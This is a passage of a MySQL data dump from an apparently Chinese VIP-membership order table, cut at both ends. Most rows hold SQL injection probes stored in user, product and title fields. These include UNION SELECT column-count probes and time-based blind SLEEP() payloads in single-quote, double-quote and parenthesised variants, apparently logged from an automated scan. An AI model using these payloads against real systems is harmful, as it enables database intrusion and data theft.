'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', '\" union select 1,2,3,4,5-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:17.074', '2026-03-05 04:30:17.074', NULL); -INSERT INTO `orders` VALUES ('MP20260305123025023987', 'MP20260305123025023987', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)\" union select 1-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:25.546', '2026-03-05 04:30:25.546', NULL); -INSERT INTO `orders` VALUES ('MP20260305123025605791', 'MP20260305123025605791', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)\" union select 1,2,3-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:25.926', '2026-03-05 04:30:25.926', NULL); -INSERT INTO `orders` VALUES ('MP20260305123025810702', 'MP20260305123025810702', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)\" union select 1,2-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:25.722', '2026-03-05 04:30:25.722', NULL); -INSERT INTO `orders` VALUES ('MP20260305123026387124', 'MP20260305123026387124', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)\" union select 1,2,3,4-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:26.144', '2026-03-05 04:30:26.144', NULL); -INSERT INTO `orders` VALUES ('MP20260305123026550012', 'MP20260305123026550012', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)\" union select 1,2,3,4,5-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:26.398', '2026-03-05 04:30:26.398', NULL); -INSERT INTO `orders` VALUES ('MP20260305123027018337', 'MP20260305123027018337', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '\" union select 1,2,3,4,5,6-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:27.707', '2026-03-05 04:30:27.707', NULL); -INSERT INTO `orders` VALUES ('MP20260305123027187511', 'MP20260305123027187511', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '\" union select 1,2,3,4-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:27.400', '2026-03-05 04:30:27.400', NULL); -INSERT INTO `orders` VALUES ('MP20260305123027202472', 'MP20260305123027202472', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '\" union select 1,2-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:27.294', '2026-03-05 04:30:27.294', NULL); -INSERT INTO `orders` VALUES ('MP20260305123027232917', 'MP20260305123027232917', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '\" union select 1,2,3-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:27.347', '2026-03-05 04:30:27.347', NULL); -INSERT INTO `orders` VALUES ('MP20260305123027350463', 'MP20260305123027350463', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '\" union select 1-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:27.237', '2026-03-05 04:30:27.237', NULL); -INSERT INTO `orders` VALUES ('MP20260305123027721068', 'MP20260305123027721068', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '\" union select 1,2,3,4,5,6,7-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:27.975', '2026-03-05 04:30:27.975', NULL); -INSERT INTO `orders` VALUES ('MP20260305123027817088', 'MP20260305123027817088', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '\" union select 1,2,3,4,5-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:27.654', '2026-03-05 04:30:27.654', NULL); -INSERT INTO `orders` VALUES ('MP20260305123028633207', 'MP20260305123028633207', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '\" union select 1,2,3,4,5,6,7,8,9-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:28.525', '2026-03-05 04:30:28.525', NULL); -INSERT INTO `orders` VALUES ('MP20260305123028645587', 'MP20260305123028645587', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)\" union select 1,2,3,4,5,6,7,8-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:28.968', '2026-03-05 04:30:28.968', NULL); -INSERT INTO `orders` VALUES ('MP20260305123028867453', 'MP20260305123028867453', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)\" union select 1,2,3,4,5,6,7-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:28.801', '2026-03-05 04:30:28.801', NULL); -INSERT INTO `orders` VALUES ('MP20260305123028921663', 'MP20260305123028921663', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '\" union select 1,2,3,4,5,6,7,8,9,10-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:28.578', '2026-03-05 04:30:28.578', NULL); -INSERT INTO `orders` VALUES ('MP20260305123028951520', 'MP20260305123028951520', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)\" union select 1,2,3,4,5,6-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:28.750', '2026-03-05 04:30:28.750', NULL); -INSERT INTO `orders` VALUES ('MP20260305123028968278', 'MP20260305123028968278', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '\" union select 1,2,3,4,5,6,7,8-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:28.171', '2026-03-05 04:30:28.171', NULL); -INSERT INTO `orders` VALUES ('MP20260305123029617319', 'MP20260305123029617319', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)\" union select 1,2,3,4,5,6,7,8,9,10-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:29.403', '2026-03-05 04:30:29.403', NULL); -INSERT INTO `orders` VALUES ('MP20260305123029834276', 'MP20260305123029834276', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)\" union select 1,2,3,4,5,6,7,8,9-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:29.225', '2026-03-05 04:30:29.225', NULL); -INSERT INTO `orders` VALUES ('MP20260305123034006695', 'MP20260305123034006695', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual\") OR (SELECT*FROM(SELECT(SLEEP(4)))usoc', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:34.490', '2026-03-05 04:30:34.490', NULL); -INSERT INTO `orders` VALUES ('MP20260305123034053427', 'MP20260305123034053427', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '\") OR (SELECT*FROM(SELECT(SLEEP(2)))ourh) limit 1#', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:34.854', '2026-03-05 04:30:34.854', NULL); -INSERT INTO `orders` VALUES ('MP20260305123034188338', 'MP20260305123034188338', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\") OR (SELECT*FROM(SELECT(SLEEP(3)))gwag) limit 1#', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:34.277', '2026-03-05 04:30:34.277', NULL); -INSERT INTO `orders` VALUES ('MP20260305123034302689', 'MP20260305123034302689', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc\")) OR (SELECT*FROM(SELECT(SLEEP(2)))irvb) limit 1#', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:34.908', '2026-03-05 04:30:34.908', NULL); -INSERT INTO `orders` VALUES ('MP20260305123034658092', 'MP20260305123034658092', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip\") OR (SELECT*FROM(SELECT(SLEEP(4)))jrnq) limit', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:34.330', '2026-03-05 04:30:34.330', NULL); -INSERT INTO `orders` VALUES ('MP20260305123034684266', 'MP20260305123034684266', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc\") OR (SELECT*FROM(SELECT(SLEEP(4)))rgkr) limit 1#', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:34.223', '2026-03-05 04:30:34.223', NULL); -INSERT INTO `orders` VALUES ('MP20260305123034822897', 'MP20260305123034822897', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\") OR (SELECT*FROM(SELECT(SLEEP(2)))nwbr) limit 1#', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:34.436', '2026-03-05 04:30:34.436', NULL); -INSERT INTO `orders` VALUES ('MP20260305123034861285', 'MP20260305123034861285', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', '\") OR (SELECT*FROM(SELECT(SLEEP(4)))yzdk) limit 1#', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:34.577', '2026-03-05 04:30:34.577', NULL); -INSERT INTO `orders` VALUES ('MP20260305123034950442', 'MP20260305123034950442', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)\") OR (SELECT*FROM(SELECT(SLEEP(4)))qawe) limit 1#', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:34.800', '2026-03-05 04:30:34.800', NULL); -INSERT INTO `orders` VALUES ('MP20260305123035112918', 'MP20260305123035112918', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip\")) OR (SELECT*FROM(SELECT(SLEEP(3)))vwut) limi', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:35.294', '2026-03-05 04:30:35.294', NULL); -INSERT INTO `orders` VALUES ('MP20260305123035478059', 'MP20260305123035478059', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', '\")) OR (SELECT*FROM(SELECT(SLEEP(3)))qtej) limit 1', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:35.837', '2026-03-05 04:30:35.837', NULL); -INSERT INTO `orders` VALUES ('MP20260305123035534215', 'MP20260305123035534215', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\")) OR (SELECT*FROM(SELECT(SLEEP(4)))dkrz) limit 1#', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:35.047', '2026-03-05 04:30:35.047', NULL); -INSERT INTO `orders` VALUES ('MP20260305123035634001', 'MP20260305123035634001', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\")) OR (SELECT*FROM(SELECT(SLEEP(2)))qstv) limit 1', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:35.597', '2026-03-05 04:30:35.597', NULL); -INSERT INTO `orders` VALUES ('MP20260305123035866824', 'MP20260305123035866824', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual\")) OR (SELECT*FROM(SELECT(SLEEP(3)))shz', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:35.652', '2026-03-05 04:30:35.652', NULL); -INSERT INTO `orders` VALUES ('MP20260305123036359363', 'MP20260305123036359363', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)\")) OR (SELECT*FROM(SELECT(SLEEP(3)))wihn) limit 1#', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:36.864', '2026-03-05 04:30:36.864', NULL); -INSERT INTO `orders` VALUES ('MP20260305123037245427', 'MP20260305123037245427', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc\" OR (SELECT*FROM(SELECT(SLEEP(4)))mqde) limit 1#', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:37.326', '2026-03-05 04:30:37.326', NULL); -INSERT INTO `orders` VALUES ('MP20260305123037612307', 'MP20260305123037612307', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '\")) OR (SELECT*FROM(SELECT(SLEEP(3)))mstr) limit 1#', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:37.269', '2026-03-05 04:30:37.269', NULL); -INSERT INTO `orders` VALUES ('MP20260305123037823234', 'MP20260305123037823234', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\" OR (SELECT*FROM(SELECT(SLEEP(2)))wign) limit 1#', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:37.457', '2026-03-05 04:30:37.457', NULL); -INSERT INTO `orders` VALUES ('MP20260305123038101424', 'MP20260305123038101424', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\" OR (SELECT*FROM(SELECT(SLEEP(3)))uona) limit 1#', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:38.705', '2026-03-05 04:30:38.705', NULL); -INSERT INTO `orders` VALUES ('MP20260305123038986467', 'MP20260305123038986467', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip\" OR (SELECT*FROM(SELECT(SLEEP(3)))pcgq) limit ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:38.654', '2026-03-05 04:30:38.654', NULL); -INSERT INTO `orders` VALUES ('MP20260305123039164188', 'MP20260305123039164188', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual\" OR (SELECT*FROM(SELECT(SLEEP(2)))ciqe)', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:39.874', '2026-03-05 04:30:39.874', NULL); -INSERT INTO `orders` VALUES ('MP20260305123039267897', 'MP20260305123039267897', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', '\" OR (SELECT*FROM(SELECT(SLEEP(3)))ebvs) limit 1#', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:39.927', '2026-03-05 04:30:39.927', NULL); -INSERT INTO `orders` VALUES ('MP20260305123040027550', 'MP20260305123040027550', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\')) OR (SELECT*FROM(SELECT(SLEEP(3)))xhqa) limit 1', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:40.312', '2026-03-05 04:30:40.312', NULL); -INSERT INTO `orders` VALUES ('MP20260305123040045635', 'MP20260305123040045635', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)\" OR (SELECT*FROM(SELECT(SLEEP(3)))xmfi) limit 1#', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:40.044', '2026-03-05 04:30:40.044', NULL); -INSERT INTO `orders` VALUES ('MP20260305123040160969', 'MP20260305123040160969', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip\')) OR (SELECT*FROM(SELECT(SLEEP(4)))igih) limi', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:40.256', '2026-03-05 04:30:40.256', NULL); -INSERT INTO `orders` VALUES ('MP20260305123040858854', 'MP20260305123040858854', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\')) OR (SELECT*FROM(SELECT(SLEEP(3)))gyta) limit 1#', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:40.207', '2026-03-05 04:30:40.207', NULL); -INSERT INTO `orders` VALUES ('MP20260305123040913483', 'MP20260305123040913483', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '\" OR (SELECT*FROM(SELECT(SLEEP(3)))jfhd) limit 1#', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:40.098', '2026-03-05 04:30:40.098', NULL); -INSERT INTO `orders` VALUES ('MP20260305123041005210', 'MP20260305123041005210', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', '\')) OR (SELECT*FROM(SELECT(SLEEP(4)))nujg) limit 1', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:41.202', '2026-03-05 04:30:41.202', NULL); -INSERT INTO `orders` VALUES ('MP20260305123041765639', 'MP20260305123041765639', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc\')) OR (SELECT*FROM(SELECT(SLEEP(3)))zsii) limit 1#', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:41.150', '2026-03-05 04:30:41.150', NULL); -INSERT INTO `orders` VALUES ('MP20260305123042261140', 'MP20260305123042261140', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual\')) OR (SELECT*FROM(SELECT(SLEEP(3)))xwa', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:42.165', '2026-03-05 04:30:42.165', NULL); -INSERT INTO `orders` VALUES ('MP20260305123042392878', 'MP20260305123042392878', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)\')) OR (SELECT*FROM(SELECT(SLEEP(3)))yvaz) limit 1#', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:42.273', '2026-03-05 04:30:42.273', NULL); -INSERT INTO `orders` VALUES ('MP20260305123042904685', 'MP20260305123042904685', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '\')) OR (SELECT*FROM(SELECT(SLEEP(3)))bpzb) limit 1#', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:42.328', '2026-03-05 04:30:42.328', NULL); -INSERT INTO `orders` VALUES ('MP20260305123043045158', 'MP20260305123043045158', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\' OR (SELECT*FROM(SELECT(SLEEP(2)))ztqd) limit 1#', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:43.415', '2026-03-05 04:30:43.415', NULL); -INSERT INTO `orders` VALUES ('MP20260305123043098146', 'MP20260305123043098146', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', '\' OR (SELECT*FROM(SELECT(SLEEP(4)))ucnp) limit 1#', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:43.633', '2026-03-05 04:30:43.633', NULL); -INSERT INTO `orders` VALUES ('MP20260305123043213760', 'MP20260305123043213760', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip\' OR (SELECT*FROM(SELECT(SLEEP(3)))nuak) limit ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:43.471', '2026-03-05 04:30:43.471', NULL); -INSERT INTO `orders` VALUES ('MP20260305123043476063', 'MP20260305123043476063', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual\' OR (SELECT*FROM(SELECT(SLEEP(3)))mvwx)', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:43.527', '2026-03-05 04:30:43.527', NULL); -INSERT INTO `orders` VALUES ('MP20260305123043982867', 'MP20260305123043982867', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc\' OR (SELECT*FROM(SELECT(SLEEP(2)))ipia) limit 1#', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:43.309', '2026-03-05 04:30:43.309', NULL); -INSERT INTO `orders` VALUES ('MP20260305123044830545', 'MP20260305123044830545', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\' OR (SELECT*FROM(SELECT(SLEEP(4)))xhcm) limit 1#', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:44.591', '2026-03-05 04:30:44.591', NULL); -INSERT INTO `orders` VALUES ('MP20260305123044896675', 'MP20260305123044896675', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc\') OR (SELECT*FROM(SELECT(SLEEP(3)))blyp) limit 1#', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:44.683', '2026-03-05 04:30:44.683', NULL); -INSERT INTO `orders` VALUES ('MP20260305123044902719', 'MP20260305123044902719', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '\' OR (SELECT*FROM(SELECT(SLEEP(3)))hxcf) limit 1#', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:44.366', '2026-03-05 04:30:44.366', NULL); -INSERT INTO `orders` VALUES ('MP20260305123044916693', 'MP20260305123044916693', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)\' OR (SELECT*FROM(SELECT(SLEEP(3)))hqyl) limit 1#', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:44.312', '2026-03-05 04:30:44.312', NULL); -INSERT INTO `orders` VALUES ('MP20260305123045118955', 'MP20260305123045118955', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual\') OR (SELECT*FROM(SELECT(SLEEP(3)))bwqi', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:45.442', '2026-03-05 04:30:45.442', NULL); -INSERT INTO `orders` VALUES ('MP20260305123045244598', 'MP20260305123045244598', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', '\') OR (SELECT*FROM(SELECT(SLEEP(4)))ljrp) limit 1#', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:45.496', '2026-03-05 04:30:45.496', NULL); -INSERT INTO `orders` VALUES ('MP20260305123045489907', 'MP20260305123045489907', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip\') OR (SELECT*FROM(SELECT(SLEEP(3)))xvaf) limit', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:45.177', '2026-03-05 04:30:45.177', NULL); -INSERT INTO `orders` VALUES ('MP20260305123045770820', 'MP20260305123045770820', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\') OR (SELECT*FROM(SELECT(SLEEP(2)))heck) limit 1#', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:45.749', '2026-03-05 04:30:45.749', NULL); -INSERT INTO `orders` VALUES ('MP20260305123046211152', 'MP20260305123046211152', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\') OR (SELECT*FROM(SELECT(SLEEP(3)))crhn) limit 1#', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:46.269', '2026-03-05 04:30:46.269', NULL); -INSERT INTO `orders` VALUES ('MP20260305123046987655', 'MP20260305123046987655', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)\') OR (SELECT*FROM(SELECT(SLEEP(2)))lill) limit 1#', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:46.526', '2026-03-05 04:30:46.526', NULL); -INSERT INTO `orders` VALUES ('MP20260305123047110899', 'MP20260305123047110899', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '\') OR (SELECT*FROM(SELECT(SLEEP(3)))ehda) limit 1#', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:47.012', '2026-03-05 04:30:47.012', NULL); -INSERT INTO `orders` VALUES ('MP20260305123048778965', 'MP20260305123048778965', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc\")) AND (SELECT*FROM(SELECT(SLEEP(4)))ukjw) limit 1#', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:48.997', '2026-03-05 04:30:48.997', NULL); -INSERT INTO `orders` VALUES ('MP20260305123049816653', 'MP20260305123049816653', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', '\")) AND (SELECT*FROM(SELECT(SLEEP(4)))rque) limit ', 1980.00, 